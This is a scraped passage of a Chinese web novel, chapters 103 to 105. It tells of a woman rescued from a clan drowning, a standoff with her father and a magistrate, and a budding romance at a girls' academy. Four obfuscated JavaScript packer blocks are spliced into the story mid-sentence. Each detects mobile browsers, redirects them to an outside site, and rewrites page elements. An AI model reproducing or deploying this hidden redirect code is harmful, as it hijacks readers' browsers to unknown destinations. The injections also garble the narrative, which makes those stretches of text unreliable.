“不试试怎么知道?”姜佑安并不惧怕那几个人,她继续向李鹤询问,“你知道他们要把霍静押送到哪里去吗?” “肯定和处死大小姐是同一个地方。”李鹤看着前面大街上有一群人走过,他指着前方说道:“那是从霍二爷家里出来的人,他们肯定是要到河边去。” “这么说,跟上他们,就能找到霍静了。”姜佑安快步向前走去。 李鹤赶忙跟上,“你真的要救我家小姐?” “我说到做到,绝无虚言。”姜佑安说道。 “你不认识我家小姐,为什么会专门过来救她?”李鹤问道。 姜佑安跟在了人群后面,小声说道。“她是我一个朋友的朋友,更重要的是,我不能放任霍祭太动用私刑杀人。” 李鹤想到了什么,神情有些激动,“是知县大人派你来的?” 见前面有人看过来,姜佑安冷静地否认,“不是,之前的那些说辞,都是我瞎编的。” 李鹤见状,也压低了声音,“你是一个人来的?霍家这么多人,你准备怎么应对?” “兵来将挡,水来土掩。”姜佑安简洁地应道。 她竟然一个人,毫无对策地来到霍家,霍家人多势众,她如何能应对?还是不蹚这趟浑水的好,李鹤拉住了姜佑安的衣袖,“姜院长,您还是回去吧,您不是霍家人,万一起了冲突,就不好办了。” 姜佑安停下脚步,“如你所说,我不是霍家人,霍家的家规也管不到我身上,我怕他做什么?” “您一个外人,要去管霍家的事,霍老爷的脾气大得很,他肯定不愿意,更何况,您又不是知县大人派来的,万一去了有个好歹,都没处说理去,您还是回去吧。”李鹤劝告道。 “我已经跟你说了,我就是为了霍静来的,不管之后情况如何,我都要去看看她。”姜佑安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14448837|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说完,继续跟着人群向前走去。 看到她无比坚定的神情,李鹤也被感染了似的,在痛苦和哀伤之中,看到了一点希望,他没再劝说姜佑安,跟着她快步跟上前去,来到了河边。 河边已经聚集了很多人,中间让出一条通道来,一个被五花大榜的女人慢慢走到了河滩上,她的身后跟着她的父亲霍祭太,霍祭太脸色铁青,浑身杀气腾腾,他的身后,跟着几个壮硕的男人,再后面跟着的是霍静的母亲和姐姐,两个人手拿着蜡烛和纸钱,无声地哭泣。 一行人走到了河滩上,霍祭太又驱赶着霍静走进了水里,岸上有人轻声哭泣,有人别过脸去,不忍再看下去。 “错是你自己犯下的,你可不要怪我!”霍祭太大声说道。 “是。”霍静脸色苍白,木然地应了一声。 “走了之后就不要回来了,不要回家里来折腾!”霍祭太又高声说道。 “是。”霍静又应了一声。 “送她上路!”霍祭太一声令下,便有几个壮汉抱着一块绑着绳子的大石头走进了水里,用一根短绳,把石头系在霍静的脖子上。 霍静的嘴唇在颤抖,她咬着牙,眼里没有一滴泪,她的母亲和姐姐含泪看着这一切,甚至不敢哭出声来。 “放!”霍祭太大喊一声,石头放入水中,霍静被拽倒,没有任何挣扎,安静地沉入了水下。 以迅雷不及掩耳之势,岸边冲下来一个女人,扑进了水里,抱着那块石头,想把霍静救起,然而她瘦弱的胳膊,抬不起石头,慌乱中也解不开霍静脖子上的绳子,她向旁边的几个壮汉大喊:“救救她吧!快救救她吧!我给钱!我愿意给钱!” “把这个疯女人拉上来!”霍祭太命令道。 几个壮汉没有帮她,反而去拉扯她,想要把她拽出来。 “快救命啊!你们拉我干什么?!”女人挥舞着双手嘶吼道。 人群中又跑出几个人来,姜佑安率先冲进水里,一手抓着石头上的绳子把石头拎起,一手抓着霍静肩膀上的衣服,把她的脑袋拽出水面,李长风紧跟其后,抽出长剑,割断了系在霍静脖子上的绳子,袁竹和杨恩把霍静从水里扶了起来。 “姑娘,你怎么样了?”袁竹担心地问道。 看霍静咳了一口水,剧烈地喘息着,姜佑安这才松了一口气,“还好,人还活着。” “佑安姐姐,你怎么会在这里?”李长风一边割霍静身上的绳子一边问道。 “我还想问你们为什么会在这里呢。”姜佑安说道。 “我们是来给霍家送菊花的,正要回去了,你不在家待着,怎么也来了这里?”袁竹问道。 姜佑安恍然大悟,“哦,你说的大户人家,就是霍家啊。” 邵苏木挣脱了壮汉,朝霍静扑过来,慌张地抚摸着她的脸,又哭又笑,“霍淑,你活下来了,太好了,你感觉怎么样?冷不冷?我这就带你去看大夫。” 霍静抬眼看着她,红了眼框:“邵老师,你怎么来了?” 彰显族长权威的仪式被外人打断,霍祭太十分愤怒,“来人!把这些人给我赶出去,把霍静重新绑了,我要亲自行刑!” 103. 冲突 “且慢!”姜佑安伸手制止,“霍族长,我是奉知县大人之命,来霍家挑选学生的,我看这位霍静姑娘就不错,您既然不在意她的性命,就高抬贵手,让我把她带走吧。” “我已经跟你说得很清楚了,我霍家人不需要去外面读书!霍静违反了我霍家的家规,私自外出,去男人的书院读书,败坏了名声,我必须处决她!”霍祭太厉声说道。 “你这个人真是蛮不讲理!是名声重要,还是人命重要,你都搞不清楚吗?”袁竹扬声说道。 “当然是名声重要,她违反家规,和男人厮混,影响得是我们整个家族的声誉,我做为一族之长,倘若不处置她,如何能服众!”霍祭太正义凛然地说道。 见他视人命如草芥,姜佑安十分愤怒,“霍族长,你光想着家规,就没想到国法吗?杀人偿命,家规不能凌驾于国法之上,这您不会不知道吧。” 霍祭太的态度蛮横,“这是我的家事,要处死的是我的女儿,与你们不相干,与国法也不相干。” “她是你女儿?你连自己的女儿都要杀!虎毒还不食子呢,你还有没有人性啊!”袁竹忍不住大声骂道。 “霍静是我国子民,她就受国法保护,你杀了她,知县大人知道了,肯定要你偿命。”姜佑安说道。 “这里是庆丰镇,是我霍家的地盘,就算是知县大人来了,也要给我这个族长一个面子,你以为他会管这种小事?”霍祭太说道。 “人命关天!怎么会是小事?知县唐大人一向重视对女子的教化,你以为他会放任你杀死一个无辜的人?”姜佑安说道。 “她无不无辜,不是你说了算的!”霍祭太上前一步,不容置喙地命令道:“把这几个外人都抓起来!” 姜佑安也上前一步,瞪着眼睛与他对峙,“你敢!我可是知县大人派来的,你要与知县大人为敌吗?” 人群中传来一声喊叫,“她不是知县大人派来的,我亲耳听见的,霍族长,她是骗你的。” 在人群中的李鹤往发出声音的那边看过去,知道是刚才在路上说的话被人听了去,此时只想把那个多嘴的人痛打一顿! 霍祭太冷笑一声,“看来我也不用跟知县大人解释什么了,你假借知县大人的名义行骗,我这就把你抓起来,送到县衙,交给知县大人发落。” “我来招收学生,不收取任何报酬,哪里算得上是行骗?就算知县大人知道了,也不会发落我,倒是你身为一族之长,滥用私刑,必将招来灾祸,我劝霍族长还是再考虑考虑,倘若你今天真的杀了人,我姜佑安不惜一切代价,一定会取你的性命。”姜佑安郑重其事地说道。 “你竟然敢威胁我!你以为我会怕你?”霍祭太向一旁的几个壮汉命令道:“你们几个,把她给我抓起来!押到我家宅子里去,我要亲自处置她。” 李长风手握长剑站在姜佑安的身旁,戒备地看着他们,袁竹和杨恩把霍静护在身后。 壮汉有些惧怕锋利的长剑,不敢上前,没料到处死一个女人会发生这种变故,他们身上都没有带武器,反身去找路边的人讨了竹棍和扁担,向姜佑安缓缓逼近。 “霍族长手下留情!”围观的人群后面发出一声呼喊,人们纷纷回头,让出一条路来。 姜佑安看过去,见是戴庭芳匆忙跑了过来,“霍族长,姜院长是救人心切,无意冒犯您,还请您高抬贵手,放过她吧。” 霍祭太上下打量着这个书生打扮的人,“你是什么人?” 戴庭芳向霍祭太拜了一拜,“我是崇正书院戴院长的儿子戴庭芳,今日是代家父前来,向您求个情,霍静在书院的成绩一直名列前茅,她知书达理,聪慧绝伦,是世间难得一见的英才,且在读书期间,恪守学生本分,每日只读书写文,绝少谈笑取乐,无一丝逾矩之处,请您看在家父的面子上,饶她一条性命吧。” “和男子一同读书,已是天大的逾矩,你还说无一丝逾矩之处?我看在和你父亲有些交情的份上,没有怪他察人不明,接收我女儿进入书院读书,他反倒要来管起我来了?”霍祭太说道。 “此事家父确实有错,我代家父向霍族长道歉。”戴庭芳又向霍祭太拜了一拜,“都怪家父的疏忽,才造成了如今这种局面,错都在家父身上,您和霍静是骨肉血亲,霍静死了,想必您也会觉得痛心,不如您就小惩大诫,饶她不死吧。” 霍祭太阴狠的眼睛中透出怀疑的神色,“你是崇正书院的人,这样低声下气为霍静求情,你是不是碰过她,跟她有了私情?” 戴庭芳慌忙摆手否认,“没有没有,我跟霍姑娘话都没说过几句,哪里会有什么私情。” “你说没有就没有?”霍祭太狠狠地瞪着戴庭芳,“书院是什么地方?全都是男人的地方,男人堆里出现了一个女人,我就不信那些男人全都是正人君子,你是院长的儿子,行事又比别的学生方便不少,如果不是有私情,你怎么专门跑来这里给她求情?” 邵苏木突然过来,跪倒在霍祭太的脚下,流着泪哀求道:“族长,您就放她走吧,让他们两人离开霍家,自己过日子去吧,反正您也不认她了,您就当没有这个女儿不行吗?您不要杀她,让她跟她爱的人走吧。” 戴庭芳看了看跪着的女人,又看了看霍祭太,急切地辩解道:“我没有,我真的跟她没有什么私情,她是一条人命啊,怎么能这么轻易就要杀人,霍族长,虽然我跟霍姑娘没什么关系,但我还是想为她求情,您就放过她吧。” 霍祭太没有理会跪在地上的邵苏木,向戴庭芳说道:“霍静今天一定要被处决,你要是大胆承认了,我还能念在你父亲的份上,放过你,你这样敢做不敢当,我拿了你一并处罚!” “本就是没有的事,我当然不能承认。”戴庭芳慌忙说道。 见霍静能自己站着了,袁竹过去把邵苏木扶了起来,大声冲霍祭太骂道:“你自己长了个下流的脑子,就觉得全天下都是下流的人,你女儿清清白白,你却这样往她身上泼脏水,真是让人恶心!” 姜佑安也扬声骂道:“外人都想救你女儿,偏你这个父亲定要杀她,真不知道谁才是亲人,谁才是父女,真是冷心冷肺,畜生不如!” 霍祭太盛怒之下,失去了理智,“这里是我霍家的地盘,哪里有你们说话的份,侮辱族长,挑事作乱,今天我就把你们一并都处理了!” “把戴院长的儿子留下,其他人通通绑了沉河!”霍祭太大声命令道。 “你要把我们都杀了?”姜佑安冷笑一声,“光天化日之下,你就敢杀人?你可真是狗胆包天!杀人偿命,在场有这么多人,你以为所有人都跟你一条心,会让对这件事守口如瓶,让你逃脱罪责?” “我当族长不是一天两天了,你不必吓唬我,就算闹到官府去,谁也不能奈何得了我。”霍祭太干脆利落地一挥手,吐出冰冷的命令,“动手!” 壮汉们各自拿着自己手中的武器向姜佑安逼近,戴庭芳快步走过去,背对着姜佑安伸出双手,毅然把她护在了身后。 李长风来到戴庭芳的身前,双手握着剑柄,目光凶狠,“佑安姐姐身份贵重,你们若是伤了她一根手指头,你们的九族亲友都要给她陪葬!” 看着李长风严肃的样子,霍祭太捋了捋胡须,不怒反笑,“一个小孩子都敢吓唬我,你以为我是被吓大的?一个收养孤儿的女子书院院长,身份能有多贵重?你倒是说来我听听。” “她是皇……”李长风刚要说明,姜佑安马上打断了他的话,“长风,不用跟他废话,我就不信他敢在众目睽睽之下,杀人灭口,真要动起手来,你也不必留情。” “是!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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一直木然看着这一切的霍静突然跪地,向唐佐磕头谢道:“多谢知县大人!” 唐佐把霍静扶起,安慰了她几句,岸上的人发出一阵欢呼声。 霍祭太虽然生气,却也无可奈何。 唐佐转身,看向身后的人群,大声宣告,“只要本官在任上一日,就不许有人动用私刑,凡动用私刑杀人者,视情节轻重,或给人偿命,或入狱服刑,你们要以今日的事为警戒,断不可继续生事。” 岸上的百姓听了,有的嘁嘁喳喳议论不止,有的高声应和表示听从,还有的看着霍祭太,默不作声。 “今日的事,到此为止,姜院长,霍静就给你了,我先回去了。”唐佐把霍静交代给姜佑安,便转身向岸上走去。 岸上走下来一男一女,跪在了唐佐的面前,“知县大人,我们是镇上开灯笼铺的,前年,霍祭太动用私刑,把我家儿子连同他女儿霍淑一起处死,请大人为我们伸冤!” 唐佐眉头一皱,“有这等事?” “他二人所说句句属实,我可以作证!”霍静走上前来,“我姐姐霍淑和他二人的儿子私奔,被我爹抓回来,也是在此地,被双双绑了石头,活活淹死在水里。” 唐佐的神情愈加严肃,“此事重大,还是到衙门里去审吧。” “慢着!”沉默了许久的霍祭太终于开口,“唐大人是想要治我的罪?” “倘若你真的有罪,自然是要治罪。”唐佐说道。 霍祭太眯着双眼,微微一笑,“既然如此,那今天唐大人也别想回去了!” “大胆!”唐佐怒喝一声,“你还想谋害朝廷命官不成?” “谋害了又如何?这里是我霍家的地盘,谁让你单枪匹马就敢闯进来。”霍祭太轻飘飘地说道:“我倒要看看,这庆丰镇的人,是听我的,还是听你的。” 104. 离家 河滩上和岸上的人听了,面面相觑,全都沉默了下来。 “霍族长,你要想清楚了,杀害朝廷命官可是十恶不赦的大罪!”戴庭芳怒斥道。 “我想得很清楚,杀人偿命嘛,反正杀一个也是死,杀十个也是死,那我索性连知县大人一块杀了,只要伪造成落水身亡,那我还能多活些日子。”霍祭太说道。 “你以为你能只手遮天?”唐佐心里很慌张,却还是故作镇定地说道:“本官临走之前和县丞说过,我是到庆丰镇来的,县丞和捕头见我不在县衙,必会来这里找我,到时候你也逃脱不了,本官劝你不要再做垂死挣扎了,主动认罪,我还可以考虑给你减刑。” “县丞?吴思恭是吧。”霍祭太捋着胡子呵呵一笑,“那就更好办了,他这个人,我熟得很,只要给他些银子,他什么事都可以帮我摆平。” 唐佐又气又怕,伸出颤抖的手指着霍祭太,“你!你竟然和官员勾结,如此轻贱人命!” 霍祭太抬眼看向路上的人群,扬声道:“今天知县大人是不小心落水而亡,都听明白了吗?” “听明白了。”人们的回应稀稀拉拉。 “把这夫妇俩都给我抓起来。”霍祭太手指着开灯笼铺的夫妇,“你们儿子拐走了我女儿,败坏了她的名节,害死了我女儿,我没找你们算账,你们还想要伸冤,让我给你们儿子偿命?” 旁边有两人走过来,要捉那夫妻俩,两人赶忙向霍祭太磕头认错。 “是我们错了,我们刚刚都是胡说八道,族长没有错,也不用偿命。” “对,是我们的错,知县大人,这里没有人犯罪,您回去吧。” 邵苏木见了,也跟着跪在旁边,乞求霍祭太,“霍族长开恩,饶了她们吧,让她们离开霍家,再也不要回来。” 姜佑安向前走到唐佐身边,沉声劝道:“唐大人是为了霍静的事而来,现在霍静的事已经解决了,也没有其他案件要处理,知县大人也该回去了,霍族长,您说是吧。” 霍祭太看向唐佐,“唐大人怎么看?” 唐佐知道这是一个机会,只有先从庆丰镇撤出去,才能谈以后的事,即使在这么多百姓面前认怂,让他很是丢脸,他也不得不这么做,“既然霍族长无罪,本官县衙里还有别的事要处理,就不在这里耽搁了。” 霍祭太冷笑一声,“唐大人在我这里栽了个跟头,肯定不会轻易放过我,今日放了你走,来日我可就倒霉了,我可不敢拿自己的命去赌。” 唐佐本想来抖一抖官威,解决一桩小小的家事,赢得为民做主的好名声,着急忙慌地来了,却不想误入了虎穴,真是让他后悔不迭,吴思恭这个县丞,怎么都不拦他一拦。 见霍祭太没有要放过他的意思,唐佐只好主动向他保证:“民不举官不究,没有人首告,本官就无从受理,本官和霍族长无冤无仇,只要你肯放本官走,今日之事,本官绝不追究。” “我说了,我不敢赌。”霍祭太抬了抬下巴,对身旁的人命令道:“把他们都抓起来。” “伤害朝廷命官是会牵连家人的,多想想你们的妻儿吧。”姜佑安对那些听命的人喊道。 面对朝廷命官,那些人都有些迟疑,霍祭太心中不悦,“他这个知县随时可以换,我们霍家却是世世代代生存在这里,今日胆敢不听从我的命令,他日都要以族规处置!” 霍家族人听了,自认不能脱离霍家生存,便都下了河滩去帮忙。 姜佑安和李长风挡在唐佐身前,李长风挥舞着长剑,霍家族人不能近身,他们就先把灯笼铺两夫妻和邵苏木都抓了起来,又去绕过李长风,去抓袁竹和杨恩。 李长风见了,忙过去帮忙,打走了这边,族人又从那边靠近,见他的长剑确实能伤人,他们也不敢太靠近,只是来回奔走,虚耗着他的体力。 河滩上的人来来来回回,陷入了混战,袁竹和杨恩都挥舞着拳头,保护着身后霍静,程祥则护在戴庭芳的身前。 混乱中,一个姑娘左窜右跳,来到姜佑安的面前,把弓箭递给了姜佑安。 “白凤!你怎么来了?”姜佑安担忧地问道。 姜白凤往姜佑安的身后躲,“院长你手上没有武器,我怕你受伤了。” 姜佑安赶忙接过弓,从姜白凤手里抽出一支箭,张弓搭箭,一箭射中了霍祭太的头冠,玉制的头冠碎裂一地,箭支擦着头皮,插在了他的发髻里。 霍祭太感到头上一阵剧痛,他惊恐万分,眼见姜佑安又搭一箭,瞄准了他的脑袋。 河滩上空旷,没有任何遮挡,霍祭太手上也没有武器,他赶忙大喊:“停手!都停手!” 众人转头朝霍祭太看过去,只见他头上插着一支箭,正惊魂未定地挥着手,他头皮渗血,淌得满脸都是,嘴里还在大喊停手,看起来甚是可怖。 众人惊骇,全都停了下来,等候着他的命令。 姜佑安把弓拉满,依旧瞄着他的脑袋,“霍族长可以放我们走了吗?” 霍祭太低着头,用两手护着脑袋,大喊道:“你先把弓放下!放下!” 姜佑安向李长风使了个眼色,李长风会意,快步跑到了霍祭太面前,把长剑抵在了他的脖子上。 霍祭太赶忙把手拿下来,哀求道:“少侠饶命!少侠饶命!” 姜佑安这才收了弓,见唐佐腿抖得几乎站不稳,她让马夫赶紧过来,把唐佐搀扶上马车。 “今日之事,霍祭太是主谋,你们若是就此收手,唐大人不会追究你们的责任,现在霍家太已经在我手上,你们是要回家好好过日子,还是要跟随霍祭太一起去大牢,你们自己选吧。”姜佑安扬声说道。 岸上和河滩上的人,你看看我,我看看你,丢下手中的树枝,各自散去了。 霍祭太见大势已去,也没有挣扎,任由姜佑安和杨恩把他给绑了,送到了马车边。 霍静和程祥给灯笼铺的夫妇和邵苏木松了绑,那夫妇俩道了谢,又去找知县伸冤去了。 霍静的母亲和姐姐还在,如同两个傀儡一般,戳在河滩上,霍静向她二人告了别,两人顿时哭泣不止。 李鹤过来向姜佑安道谢,跟霍静告别,送霍静的母亲和姐姐回家去了。 霍静也向姜佑安等人道谢,袁竹问她有没有什么人可以投奔,霍静摇了摇头,姜佑安便邀请她一起到袁家去,霍静扶着邵苏木,问能不能带她一起去,袁竹也同意了。 大家到了岸上,杨恩推了板车来,霍静、邵苏木和姜白凤坐在车上,姜佑安和李长风扶着一边,袁竹和杨恩扶着另一边,和戴庭芳、程祥轮换着推车,一路说着话,往袁家去了。 回到家里,孩子们已经吃过午饭,去午睡了,阮荷给大家热了饭菜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14465601|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,端去堂屋吃,弄湿了衣服的,都先去屋里换衣裳去了。 饭桌上,姜白凤一边吃饭,一边激动地跟阮荷讲述今天发生的事,姜佑安说今天多亏姜白凤把弓箭送到了她手上,要不然,还不知道是什么样子呢。 邵苏木笑呵呵地看着她们说话,吃得很少,霍静连声劝她多吃一些。 吃过午饭,杨恩和李长风去刷碗,阮荷给大家泡了茶,大家坐在堂屋里说话。 此时众人才得知,邵苏木原本是霍家私塾里专门教女眷读书的老师,在霍淑被霍祭太处死之后,她因为没能救下霍淑,慢慢的,精神变得不正常了,后来连书都没法教了,就被霍家辞退了。 再后来,她住进了霍家附近的巷子里,经常在霍家门口转悠,说想见霍淑一面,霍祭太觉得她瘆人,每次她来了,就要门人把她给赶走。 有时候她清醒了,会跑到河边,在霍淑淹死的地方,呆呆的,一坐就是一整天。 要是在河边突然犯了病,她就会跳到河里去,说要把霍淑捞上来,还徒劳地喊岸上的人帮忙。 众人听了,都忍不住落下泪来,只有邵苏木脸上带着微笑,慈爱地看着霍静,霍静说她是把自己错认成了大姐。 霍静让大家都不要纠正她,也许她以为霍淑还活着,精神能慢慢好起来。 大家把袁信生住过的那间倒座房收拾了,让霍静和邵苏木住了进去,邵苏木在床上躺着休息,霍静和程祥在房间外小院里说话。 众人都退了出去,各忙各的去了,唯有姜佑安和戴庭芳回到了堂屋里喝茶。 “我有件事要和你商量。”姜佑安还没坐定,就听见戴庭芳说道。 “等一下。”发现茶水已经凉了,姜佑安去厨房灌了热水来,给戴庭芳重新沏了茶。 姜佑安回到主位上坐了,给自己倒了杯茶,“戴老师,你刚才说有什么事要和我商量?” “是。”戴庭芳伸出手来,轻轻拢着桌上的茶杯,“今天,我为了霍静的事去找了我爹,她是整个书院里最拔尖的学生,那时候,我爹是那么的看重她,对她寄予厚望,可当得知她是女人之后,我爹却连她的死活都不想管。” “你不是说你爹让你去向霍祭太求情的吗?”姜佑安问道。 “我撒谎了,我爹不愿意去救她,说她身为一个女人,到崇正书院读书,是存心败坏书院的名声,她是被自己的父亲带回去的,别人的家事,他不方便插手。”戴庭芳说道。 姜佑安漫不经心地喝了口茶,“戴院长觉得女人读书无用,这你不是早就知道了吗?” “我是知道,但我没想到,原先是他那么喜欢的一个学生,只因为是个女人,他就觉得死了也无所谓。”戴庭芳说道。 “戴院长是看重名节、名声的人,女人的名节更是比天大,一个女人和书院里的男人们同吃同住,他自然看不惯,不过,我们不是已经把霍静救下来了吗?你怎么还这么难过?”姜佑安问道。 “我,我对我爹感到失望,我不想再回去面对他了。”戴庭芳看向姜佑安,“姜院长,你之前不是说我住在这里会比较方面吗?从今天起,我能不能也住在这里?” 姜佑安手捧着茶杯,开心地笑了,“当然可以,不过,倒座房三间都已经住了人了,后院都是女人,你住过去也不太方便,要不,戴老师就和我一起住吧。” 105. 欲望 “和……”戴庭芳低下头,“这,不太好吧。” “我的床很宽敞的,两个人肯定睡得下。”姜佑安说道。 想到和姜佑安一起躺在床上,戴庭芳不禁脸红了,他慌乱地捧起茶杯,猛喝了一大口茶水,“不了,我,要不,我就睡学堂里就好。” “这都秋天了,往后会越来越冷的,自己睡学堂哪能行,咱们睡一起,还能互相暖喝暖和。”姜佑安笑着说道。 戴庭芳的脸更红了,“你,你不要取笑我了。” “我没有取笑你啊。”姜佑安一脸认真地说道:“要是每天睡醒一睁眼,就能看到戴老师的这张脸,那我可真是太幸福了,戴老师不想跟我一起睡吗?” 戴庭芳慌忙又喝了一口茶水,“这不是我该想的。” “咱们俩是男未婚女未嫁,怎么不该想?”姜佑安说道。 “君子慎独,不该有的想法,就不能想。”戴庭芳说道。 “君子论迹不论心,论心无君子,只是想一想,不算什么。”姜佑安用手轻抚着杯沿,“况且,君子也是有七情六欲的,难不成戴老师以后娶了妻,两个人成天只是坐而论道?” 戴庭芳低着头,耳朵红红的,“我们还没成亲,就不该想。” “戴老师想要跟我成亲?”姜佑安问道。 戴庭芳慌忙抬头,“没,我,我不是这个意思。” 姜佑安放下杯子,起身朝戴庭芳走过去,“那你是什么意思?” 戴庭芳手扶着桌沿,只想赶紧夺门而逃,恰巧杨恩从外面走进来,跟两人打了声招呼,“姜院长,戴老师。” “什么事?”姜佑安问道。 “我新打好了一张床,想问问后院里还缺不缺,不缺的话,我就先放我那屋里了。”杨恩说道。 “后院暂时不缺,床先放我那屋里吧,戴老师说以后要在这里住,给他单独一个床,他睡着宽敞。”姜佑安微笑着说道。 杨恩奇怪地看了戴庭芳一眼,“戴老师跟你住?他同意了?” 戴庭芳赶忙站起身来,连连摆手否认,“没有没有,我住学堂就行,床在哪?我跟你一起抬过来。” “你总这样,当心戴老师生你的气。”杨恩对姜佑安说道。 姜佑安笑了笑,“说说而已嘛,万一戴老师同意了呢?” 杨恩转身面对着戴庭芳,“戴老师要是不嫌弃的话,就和我一起住吧,我那房里只放了一些工具,还算宽敞,住两个人也不算挤。” “我哪里会嫌弃,多谢你了。”戴庭芳道了谢,就跟着杨恩一起去抬床去了。 姜佑安也跟着一起去帮忙,给戴庭芳拿了被褥和一些日常用品。 程祥跟霍静告了别,要跟戴庭芳一起回去时,才得知他不回去了。 戴庭芳托程祥跟他母亲说一声,他以后就住在书院了,以后得空会回去看她。 告别了程祥,戴庭芳就在袁家住了下来,袁竹听说后,也没有反对,反正男人都住在二门外,邵苏木和霍金的小院也有院门,她并不十分担心。 重阳节到了,虽然书院放了假,但袁家还是很热闹,后院里很多都是小孩子,不方便去登山,袁竹决定不去爬山,就在家里吃吃饭,然后去园子里玩玩就行了。 上午袁竹还是照例卖花去了,重阳节生意好,杨恩和李长风也推着车一起去了,姜佑安和阮荷一起去花田摘了一篮菊花回来,给大家插戴。 分好了花,阮荷便去厨房里准备午饭了,钟二娘和大些的孩子都过去帮忙。 秋日的暖阳照在院子里,缸里的荷花凋谢,正孕育着种子,小孩子们围着缸躲躲藏藏,开心地嬉闹。 蔷薇架上,叶片的颜色变得暗沉,有那心急的叶子已经开始变黄,就被一风吹,就扑簌簌往下落。 戴庭芳关上了房门,向外走去,姜佑安见了,轻轻跟了过去。 戴庭芳出了院门,没有走大路,反而沿着山边的小路向前走去。 姜佑安快步走过去,“戴老师,你要去哪儿?” 戴庭芳回过头来,微微有些吃惊,“姜院长,你怎么来了?” “我看戴老师出门了,想看看要去哪儿,要不要我陪你?”姜佑安笑着说道。 “我不去哪儿,只是出来散散步。”戴庭芳说道。 “那我陪你一起吧。”姜佑安向前走去,脸上带着微笑,“你很喜欢散步?我记得第一次见你的时候,你是不是也在这附近散步来着。” 两个人慢慢向前走着,有一搭没一搭的聊着天,姜佑安很开心,戴庭芳住进了袁家,以后就能像这样日日相处了。 戴庭芳却不敢去看姜佑安的脸,自从昨天她说了要两个人一起睡之后,他就总是会想到两人一起躺在床上的场景,就连晚上做梦,都梦见两个人躺在床上,他还把姜佑安抱在怀里。 醒来后,他发现了自己身体的异样,他震惊于自己思想的龌龊,不该有这样的想法!绝对不能有这样的想法! 他翻遍了以前带来学堂没拿回去的书,寻找着禁欲之法。 面对走在前方的姜佑安,他总忍不住看向她脖颈上裸露的肌肤,这不行!绝对不行! 戴庭芳在心里默念“长者以为姊,少者如妹,敬之以礼,意殊当谛”,以至于姜佑安跟他说话,他也都忽略了过去。 姜佑安见他口里念念有词,以为他在背什么文章,也就不再跟他搭话,随他去了。 两个人转过弯来,往回走时,见袁家门口站着一群人,吵吵嚷嚷的,也不知道在说些什么,离得近了,姜佑安听到了一声哭喊,忙快步跑了过去。 见孩子们围成一圈,中间有一中年男人,正在拉扯着姜白凤的胳膊,前面还有一人拦着他的去路。 “你是什么人?来我书院做什么?”姜佑安扬声问道。 孙南金拉着姜白凤不松手,怒气冲冲地看向姜佑安,“你说我干什么?我来找我女儿的!你这个人贩子!竟然敢把我女儿拐到这里来!” “你不要在这里胡说八道,刚刚你女儿都说了,她是因为不想嫁给傻子,才从家里逃出来的。”前面那人说道。 姜佑安听着声音很耳熟,走过去一看,竟是黎泱泱!她惊喜地问道:“黎公子?你怎么会在这里?” 黎泱泱冲姜佑安微微一笑,“重阳休假,我是特意来看姜院长的。” “不管我女儿是怎么来这儿的,反正我要把她带回去!”孙南金大声说道。 孙南金刺耳的声音,让正沉浸在黎泱泱笑容里姜佑安突然惊醒。 姜佑安心生不悦,斩钉截铁地对孙南金说道:“你带不走她!” “她是我女儿,我辛辛苦苦养育她这么多年,你凭什么拦着我?要不是昨天有人看到她跟你们在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14473434|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一起,你们还想藏她一辈子是不是?”孙南金愤怒地大喊道。 姜白凤踹了孙南金一脚,挣开他的手,躲在了姜佑安的身后,“我不跟你走!我不认你这个爹!” “你这个白眼狼!你以为你是怎么长这么大的?你还敢不认我?看我不打死你!”孙南金冲过去,拽过姜白凤,扬手就要打。 黎泱泱抓住了孙南金的胳膊,姜佑安一脚踹在他的肚子上,“当着我的面你还敢打孩子!在你家,这孩子也不知道遭了多少罪,就不认你,怎么了?” 孙南金一个没站稳,跌倒在地上,边上有小孩子笑了起来,他顿时气得满脸通红,“你!你敢打我!” “打你怎么了?”姜佑安把姜白凤护在身后,理直气壮地反问道。 孙南金从地上爬了起来,见黎泱泱人高马大,自己敌不过,一边往外走,一边喊道:“我带我女儿回家,是天经地义的事,你凭什么拦着我!你给我等着,我这就去报官!” “难道你不知道我跟知县大人的关系?”姜佑安问道。 孙南金停下脚步,狐疑地看着她,“你跟知县大人什么关系?” 姜佑安仰起头,“出生入死的关系,你尽可以去报官,看他会不会管!” 